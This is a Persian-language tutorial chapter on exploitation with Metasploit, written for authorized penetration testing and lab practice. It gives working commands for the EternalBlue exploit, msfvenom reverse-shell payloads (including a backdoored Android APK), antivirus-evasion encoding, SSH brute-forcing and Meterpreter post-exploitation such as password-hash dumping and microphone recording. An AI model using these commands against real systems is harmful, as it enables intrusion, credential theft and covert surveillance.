فصل ۵: استثمار با Metasploit
معماری Metasploit، msfconsole، گردش کار search-use-set-exploit، Meterpreter، msfvenom برای ساخت payload و db_nmap برای یکپارچهسازی با پایگاهداده Metasploit.
معماری Metasploit Framework
Metasploit Framework (MSF) قدرتمندترین پلتفرم استثمار متنباز در جهان است که توسط شرکت Rapid7 نگهداری میشود. این ابزار بهعنوان استاندارد طلایی در دورههایی مانند OSCP و CEH تدریس میشود و تقریباً در هر پلتفرم تست نفوذی بهصورت پیشفرض نصب است.
معماری MSF ماژولار است و شامل این بخشهای اصلی است:
| ماژول | کاربرد | مثال |
|---|---|---|
| Exploit | کدی که از آسیبپذیری سوءاستفاده میکند | exploit/windows/smb/ms17_010_eternalblue |
| Payload | کدی که پس از استثمار اجرا میشود | windows/x64/meterpreter/reverse_tcp |
| Auxiliary | اسکنرها، اسنیفرها، فانرها | auxiliary/scanner/smb/smb_version |
| Post | ماژولهای پس از استثمار | post/windows/gather/hashdump |
| Encoder | رمزگذاری payload برای دور زدن AV | x86/shikata_ga_nai |
| NOP | تولید NOP sled | x86/opty2 |
فقط روی اهداف مجاز
هر ماژول exploit در Metasploit میتواند به سرور هدف آسیب جدی بزند یا حتی آن را از کار بیندازد. EternalBlue و بسیاری از اکسپلویتهای دیگر میتوانند باعث BSOD شوند. فقط و فقط روی اهداف دارای اجازه کتبی استفاده کنید.
msfconsole — قلب Metasploit
msfconsole رابط اصلی و قدرتمندترین راه استفاده از MSF است. برخلاف رابطهای گرافیکی، کنسول امکان دسترسی به همه قابلیتها را میدهد:
# راهاندازی
sudo msfconsole -q
# بررسی وضعیت پایگاه داده
msf6 > db_status
# کمک
msf6 > helpفلگ -q پیام خوشآمدگویی طولانی را حذف میکند.
گردش کار اصلی: search-use-set-exploit
هر استثمار در MSF چهار مرحله اصلی دارد: جستجو، انتخاب، پیکربندی و اجرا.
مرحله ۱ — جستجو
# جستجوی EternalBlue
msf6 > search eternalblue
# جستجوی دقیقتر
msf6 > search type:exploit platform:windows eternalblue
# جستجو بر اساس CVE
msf6 > search CVE-2017-0144خروجی جستجو شامل رتبه (rank) است که نشاندهنده قابلیت اطمینان اکسپلویت است. رتبه excellent یعنی اکسپلویت تقریباً همیشه کار میکند و سرور را از کار نمیاندازد.
مرحله ۲ — انتخاب
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 (exploit) > info
msf6 (exploit) > show optionsمرحله ۳ — پیکربندی
# تنظیم IP هدف
msf6 (exploit) > set RHOSTS 192.168.1.10
# تنظیم payload
msf6 (exploit) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# تنظیم IP محلی برای شنود
msf6 (exploit) > set LHOST 192.168.1.5
# تنظیم پورت محلی
msf6 (exploit) > set LPORT 4444
# تنظیم تعداد_threads
msf6 (exploit) > set THREADS 10مرحله ۴ — اجرا
msf6 (exploit) > exploit
# یا خلاصه
msf6 (exploit) > runاگر همهچیز خوب پیش برود، یک سشن Meterpreter باز میشود.
Meterpreter — پوسته پیشرفته
Meterpreter (Meta-Interpreter) یک payload اختصاصی Metasploit است که در حافظه اجرا میشود (بدون نوشتن فایل روی دیسک) و دهها دستور قدرتمند برای پس از استثمار دارد:
# اطلاعات سیستم
meterpreter > sysinfo
meterpreter > getuid
# گرفتن شل سیستمعامل
meterpreter > shell
# لیست فایلها
meterpreter > ls
meterpreter > cd C:\\Users\\Administrator
meterpreter > pwd
# دانلود فایل
meterpreter > download C:\\secret.txt
# آپلود فایل
meterpreter > upload /home/kali/backdoor.exe C:\\Windows\\Temp\\
# اسکرینشات
meterpreter > screenshot
# ضبط از میکروفون
meterpreter > record_mic -d 30
# استخراج هشهای رمز عبور (نیازمند SYSTEM)
meterpreter > hashdump
# لیست سشنهای فعال
meterpreter > sessions -l
# رفتن به پسزمینه
meterpreter > backgroundMeterpreter در مقابل شل معمولی
Meterpreter مزایای بزرگی بر شل معمولی دارد: رمزنگاری TLS، اجرای در حافظه، قابلیت بازگشت پس از قطع شبکه، و دستورهای ساختیافته. همیشه تا میتوانید از Meterpreter استفاده کنید و فقط در صورت نیاز به اسکریپتهای بومی سیستمعامل، با shell به cmd/bash بروید.
msfvenom — ساخت Payload سفارشی
گاهی اوقات لازم است payload خود را در قالب یک فایل قابل اجرا یا اسکریپت تولید کنید و آن را بهصورت دستی روی هدف اجرا کنید. msfvenom ابزار انجام این کار است:
# اجرایی ویندوز ۶۴ بیتی
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o payload.exe
# اسکریپت PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -o shell.php
# اجرایی لینوکس
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf -o shell.elf
# Python script
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.py
# APK اندروید
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -o backdoor.apk
# با انکودر برای دور زدن AV (کماثر در سال ۲۰۲۶)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o payload.exeبعد از اجرای payload روی هدف، در msfconsole باید شنود را راه بیندازید:
msf6 > use exploit/multi/handler
msf6 (exploit) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 (exploit) > set LHOST 192.168.1.5
msf6 (exploit) > set LPORT 4444
msf6 (exploit) > runAV مدرن و msfvenom
در سال ۲۰۲۶، انکودرهای کلاسیک مانند shikata_ga_nai توسط اکثر آنتیویروسها بهسادگی شناسایی میشوند. برای دور زدن AV مدرن، باید از ابزارهایی مانند Shellter، Veil یا ساختن payload سفارشی با C و технику Obfuscation دستی استفاده کنید. آموزش این تکنیکها خارج از محدوده این فصل است.
db_nmap — یکپارچهسازی Nmap با Metasploit
یکی از قابلیتهای کلیدی MSF، امکان اجرای Nmap از داخل کنسول و وارد کردن خودکار نتایج به پایگاهداده است:
# ساخت workspace جدید برای پروژه
msf6 > workspace -a client-project
# اجرای db_nmap
msf6 > db_nmap -sS -sV -O -p- 192.168.1.10
# مشاهده سرویسهای کشفشده
msf6 > services
# مشاهده میزبانها
msf6 > hosts
# مشاهده آسیبپذیریهای احتمالی
msf6 > vulns
# وارد کردن فایل XML از قبل ساختهشده
msf6 > db_import /home/kali/scans/full_scan.xmlپس از db_nmap، میتوانید با services سریعاً سرویسهای کشفشده را ببینید و مستقیماً ماژولهای متناظر را روی آنها اجرا کنید.
ماژولهای کمکی متداول
# نسخه SMB
msf6 > use auxiliary/scanner/smb/smb_version
msf6 (auxiliary) > set RHOSTS 192.168.1.10
msf6 (auxiliary) > run
# شمارش کاربران SMB
msf6 > use auxiliary/scanner/smb/smb_enumusers
# brute-force SSH
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 (auxiliary) > set RHOSTS 192.168.1.10
msf6 (auxiliary) > set USERNAME root
msf6 (auxiliary) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 (auxiliary) > runجدول فرمانهای پرکاربرد Metasploit
| دستور | کاربرد |
|---|---|
search name | جستجوی ماژول |
use path | انتخاب ماژول |
info | نمایش اطلاعات ماژول |
show options | نمایش گزینهها |
show payloads | لیست payloadهای سازگار |
set NAME value | تنظیم گزینه |
setg NAME value | تنظیم سراسری |
run یا exploit | اجرای ماژول |
sessions -l | لیست سشنها |
sessions -i 1 | ورود به سشن ۱ |
background | فرستادن سشن به پسزمینه |
route add subnet mask session | تونل از طریق سشن |
workspace -a name | ساخت فضای کاری جدید |
db_nmap | اجرای Nmap با ذخیره در DB |
save | ذخیره تنظیمات |
تمرین عملی — EternalBlue
روی یک ماشین Metasploitable-Windows یا ویندوز ۷ پچنشده در شبکه محلی این جریان را اجرا کنید:
# 1. راهاندازی Metasploit
sudo msfconsole -q
# 2. ساخت workspace
msf6 > workspace -a eternalblue-lab
# 3. اسکن هدف
msf6 > db_nmap -sS -sV -p 445 192.168.56.102
# 4. انتخاب اکسپلویت
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# 5. پیکربندی
msf6 (exploit) > set RHOSTS 192.168.56.102
msf6 (exploit) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 (exploit) > set LHOST 192.168.56.1
msf6 (exploit) > set LPORT 4444
# 6. اجرا
msf6 (exploit) > exploit
# 7. پس از ورود
meterpreter > sysinfo
meterpreter > getuid
meterpreter > hashdump
meterpreter > screenshotاگر موفق شوید، یک Meterpreter روی ویندوز ۷ خواهید داشت. روی یک ماشین واقعی، هرگز بدون اجازه این کار را نکنید.
خلاصه و گام بعدی
در این فصل، با معماری Metasploit و گردش کار اصلی آن آشنا شدید و یاد گرفتید که چگونه با Meterpreter یک سشن پایدار روی هدف بسازید و با msfvenom payloadهای سفارشی تولید کنید. MSF ابزاری قدرتمند است اما هرگز نباید جای فهم عمیق مکانیزم استثمار را بگیرد.
در فصل بعد، با هک وباپلیکیشن آشنا میشوید؛ جایی که با Burp Suite، SQL Injection، XSS و دیگر حملات متداول وب، اپلیکیشنهای تحت وب را هدف قرار میدهید.
این صفحه در تاریخ ۸ تیر ۱۴۰۵ بهروزرسانی شده است.